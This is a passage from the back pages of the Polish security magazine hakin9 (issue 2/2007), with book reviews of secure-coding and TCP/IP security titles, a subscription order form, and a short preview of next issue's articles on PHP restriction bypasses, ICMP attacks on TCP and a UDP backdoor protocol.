rował on zasady prawidłowego tworzenia kodu. Książ-
ka  porusza  zagadnienia  czysto  programistyczne,  nie 
oznacza to jednak , że mamy tu do czynienia z jesz-
cze jedną pozycją typu „programowanie w 10 dniu” czy 
też  „C++  dla  opornych”.  Publikacje  firmowane  przez
O’Reillego  zdecydowanej  większości  są  wszak  adre-
sowane do zaawansowanego odbiorcy. Na całe szczę-
ście  nie  uszczegóławia  ona  środowiska,  w  którym 
będzie  pracował  kod.  W  treści  znajdziemy  przykła-
dy zarówno dla Linuxa jak i dla Windows. Zaprezento-
wane fragmenty kodu, to przede wszystkim przykłady 

pozwalające  na  zobaczenie,  że  powszechnie  spraw-
dzone  i  wykorzystywane  rozwiązania,  biblioteki  oraz 
swoiste triki, mogą stanowić optymalne wyjście z wielu 
problemów, zaś jedyną przeszkodą w ich zastosowa-
niu bywa najczęściej niewiedza, która zmusza do przy-
słowiowego „wybijania otwartych drzwi.

Treść książki, skupia się w przeważającej części na 

zagadnieniach  dotyczących  bezpiecznego  tworzenia 
kodu, unikania znanych błędów, właściwego implemen-
towania  wytyczonych  rozwiązań  oraz  pisania  źródeł
w sposób minimalizujący możliwości wystąpienia nad-
użyć.  Najwięcej  miejsca,  autorzy  poświęcili  zagadnie-
niom dotyczącym oprogramowywania rozwiązań kryp-
tograficznych, tworzenia kodu operującego w sieci czy 
też  na  PKI.  Omawiane  przykłady  są  dobrze  dobrane 
i w czytelny sposób ilustrują zarówno sam problem jak
i metody jego ominięcia, dając tym samym czytelnikowi 
pełny komfort przy studiowaniu przedstawianych zagad-
nień. http://helion.pl/ksiazki/ccprec.htm

Tytuł : Spamowi STOP! Bayesowskie filtrowanie zawartości
i sztuka statystycznej klasyfikacji 
języka. 

Autor: Jonathan A. Zdziarski 

Tłumaczenie: Lexem 

Wydawnictwo : Mikom 

Stron : 358 

Oprawa : Miękka 

Recenzje  opracowali  Krystyna  Wal  i  Łukasz  Długosz  z  zespo-
łu  InfoProf  (http://www.infoprof.pl/).  Książki  do  recenzji  udo-
stępniła autorom Księgarnia Informatyczna w Krakowie (http://
www.informatyczna.pl/
),  zaś  redakcji  –  wydawnictwa  Helion
i WNT.

background image

hakin9 Nr 2/2007

www.hakin9.org

78

Księgozbiór

Księgozbiór

hakin9 Nr 2/2007

www.hakin9.org

79

Tytuł: 19 grzechów śmiertelnych Jak naprawić najczęstsze usterki oprogramowania.

Autor: Michael Howard, David LeBlanc, John Viega

Wydawca: PWN

Rok: 2006

Stron: 364

Rozpoczynając lekturę książki “19 grzechów śmier-

telnych” spodziewałem się omówienia problemów stric-
te  programistycznych,  tymczasem  autor  opisuje  w 
niej  nieco  szerzej  problem  usterek  programowania, 
uwzględniając  zagadnienia  bezpieczeństwa  (stosowa-
ne  szyfrowanie,  polityka  haseł)  oraz  poświęca  uwagę 
podejściu  samych  użytkowników  do  aplikacji  i  związa-
nych z tym kłopotów. Opis książki sugeruje, iż jest ona 
przeznaczona  dla  wszystkich  zajmujących  się  progra-
mowaniem,  jednak  książka  nie  jest  przeznaczona  dla 
początkujących  programistów.  Przykłady  są  starannie 
opisane,  ale  wskazane  jest  pewne  obycie  w  tematyce 
programowania.

Na  samym  początku  moją  uwagę  zwróciły  termi-

ny “wkłucia sql” i “skrypty międzyserwisowe” być może 
dlatego, że nie jestem do nich przyzwyczajony brzmiały 
dość nietypowo i może dobrym pomysłem byłoby pozo-
stawienie nazw w j. angielskim, niemniej jednak po jakimś 
czasie można się do nich przyzwyczaić. Książkę czyta 
się szybko, 19 tytułowych grzechów tworzą osobne roz-
działy i pomimo tego, że poszczególne grzechy nacho-
dzą na siebie, w sensie podobieństw w ich popełnianiu, 
uważam, że autorowi całkiem dobrze udało się je skata-
logować. Za ciekawy pomysł uważam poruszanie się w 

terminologii grzechu – rachunek sumienia, postanowie-
nie poprawy etc.

Każdy  opisywany  grzech  podawany  jest  w  pewien 

określony sposób – od jego omówienia, poprzez rozpozna-
nie do opisania sposobów na jego uniknięcie. Do każdego 
rozdziału autor dodaje listę materiałów dodatkowych oraz 
sugerowanych narzędzi pomocnych w walce z grzechem.

Książka  opisuje  problemy  pojawiające  się  na  wielu 

poziomach  projektowania  aplikacji  –  są  tam  opisane 
trudności  przy  implementowaniu  połączeń  ssl,  proble-
my związane z rozwiązywaniem nazw dns, przechowy-
waniem haseł, testowaniem danych wejściowych czy też 
wspomnianych  skryptów  międzyserwisowych.  Korzy-
ścią dla czytelnika jest, spora ilość przykładów. Podawa-
ne są przykłady zawierające opisywane błędy (grzechy) 
jak i takie z poprawionymi błędami. Ponieważ podawane 
przykłady nie ograniczają się do jednego języka progra-
mowania  więc  każdy  czytelnik  powinien  znaleźć  odpo-
wiadający mu język – mnie osobiście cieszyły fragmen-
ty kodu w php i python. Autor kładzie nacisk na to, aby 
programiści stosowali istniejące i sprawdzone rozwiąza-
nia w miejsce tworzenia czegoś nowego, zaprojektowa-
nego przez nich samych, a zarazem niezweryfikowanego 
i podatnego na błędy. 

Tytuł: Bezpieczeństwo protokołu TCP/IP

Autor: Libor Dostálek

Wydawca: PWN

Rok: 2006

Stron: 800

Niektórych  może  mylić  tytuł  książki,  jednak  jest  to 

pełny przewodnik po protokole TCP/IP i na nim opartych. 
Pozycja  składa  się  20  rozdziałów,  każdy  dość  wyczer-
pująco  omawia  swój  temat.  Czytając  książkę  zaczyna-
my  od  poznania  podstaw  najpopularniejszego  protoko-
łu.  Poznajemy  jego  budowę,  zalety  i  wady.  Już  na  tym 
etapie dowiadujemy się jak zdobyć przepływające przez 
niego dane. Pokrótce opisana jest warstwa łącza danych 
(Ethernet, FrameRelay, Wlan i PPP – temu poświęcono 
nieco więcej miejsca). W dalszej części zostaje opisane 
nazewnictwo klientów – IPv4 i IPv6, a także system DNS. 
W tym rozdziale, jak i w innych, wykorzystano dużo róż-

norodnych i czytelnych diagramów, a także odwołań do 
dokumentów RFC. W kolejnej części dowiemy się wszyst-
kiego  o  MIME  –  podstawie  dzisiejszego  emaila.  Poka-
zane  są  tutaj  także  algorytmy  “szyfrowania”  (Base64, 
Quoted-printable czy Radix-64 wykorzystywane w PGP). 
Potem dochodzimy do tego na co każdy czekał – uwie-
rzytelnianie  i  autoryzacja.  Nie  jest  to  czysto  techniczny 
rozdział, pokazano tutaj fizyczne sposoby uwierzytelnie-
nia (hasła, kody jednorazowe, tokeny, także biometryka), 
wspomniano też o protokole RADIUS. Kolejnie przecho-
dzimy do tego co ma chronić – do firewalli, ale także to 
jednej z niebezpieczniejszych rzeczy jakimi są serwery.

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 887 14 44 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

4

119

3

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku miesiąca marca 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 3/2007 

w następnym numerze 

między innymi:

Zapowiedzi

PHP i czyhające w nim niebezpieczeństwa

Jeżeli możemy przeczytać nienależący do nas plik na serwerze, ktoś inny 
może również przeczytać nasz config.php z hasłami do naszej bazy

Paweł Maziarz opisze dyrektywy z php.ini ,,safe_mode'' oraz ,,open_ba-

sedir'' a także przedstawi sposób obejścia przez luki w modułach php (funk-
cje curl, imap, sendmail etc.)

Znajdzie się również opis niektórych funkcji posix_*, które często są ak-

tywne, a które mogą uprzykrzać życie.

Ataki ICMP na protokół TCP

Artykuł będzie opisywał zależność między tymi dwoma protokołami, wpływ 
jaki ma ICMP na TCP, w jaki sposób to wykorzystać do zakłócenia lub prze-
rwania sesji TCP oraz jak sobie z tym problemem poradzić.

Zwiększania niezawodności programów komu-

nikujących się za pośrednictwem protokołu 

UDP

Klient  omawianego  backdoora  posiadałby    miniprotokół  w  postaci  własnej 
ramki zawierającej takie elementy jak suma kontrolna CRC oraz identyfika-
tor pakietu. Dzięki tym elementom, backdoor miałby możliwość ewentualne-
go wykrycia uszkodzonego pakietu z poleceniem i wysłaniem do klienta sto-
sownego komunikatu.

Na CD:

•   hakin9.live - butowalna dystrybucja Linuxa;
•   26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień poru-

szanych w artykułach;

•   specjalne wersje komercyjnych programów;
•   e-books – książki elektroniczne;
•   kurs na certyfikat Cisco CCNA. cz. II

Obrona

Atak

background image
background image